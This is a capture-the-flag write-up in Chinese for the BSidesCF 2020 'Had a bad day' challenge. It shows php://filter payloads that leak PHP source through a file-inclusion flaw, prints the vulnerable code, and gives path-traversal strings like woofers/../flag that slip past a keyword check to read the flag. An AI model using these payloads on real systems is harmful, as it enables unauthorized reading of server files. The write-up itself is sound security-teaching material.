[BSidesCF 2020]Had a bad day

  • 进入页面,让你在woofers和meowers中选择一个
  • 点击woofer是给一张狗狗的图片,meowers是一张猫猫的图片
  • 关键点在于url
http://8a506345-44e3-4d0e-821d-ed711c30f04b.node3.buuoj.cn/index.php?category=meowers
  • get方式传参了meowers,得到了猫猫的图片
  • 那么这里是否能去读取一些文件呢?
  • category=php://filter/convert.base64-encode/resource=index.php
  • 页面返回警告

Warning: include(file:///index.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'file:///index.php.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
  • 第二个警告中 文件名称伟index.php.php 所以删除原文件的后缀
    在这里插入图片描述
  • base64解码后的结果
<?php
  $file = $_GET['category'];
  if(isset($file)){
      if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
          include ($file . '.php');				
        }
        else
        {
            echo "Sorry, we currently only support woofers and meowers.";
        }
    }
?>
  • category只能为woofers,meowers,index才能通过if的判断进而得到文件包含
  • 如果我们想要得到flag文件直接传入flag肯定是不行的
  • 但是这里有个注意点
  • 这里的判断函数用的是strpos 其返回的是所需要匹配的字符串第一次出现的位置
  • 所以只要包含这三个中的一个就可以了
category=php://filter/convert.base64-encode/resource=index/../flag
category=php://filter/convert.base64-encode/resource=woofers/../flag
category=meowers/../flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值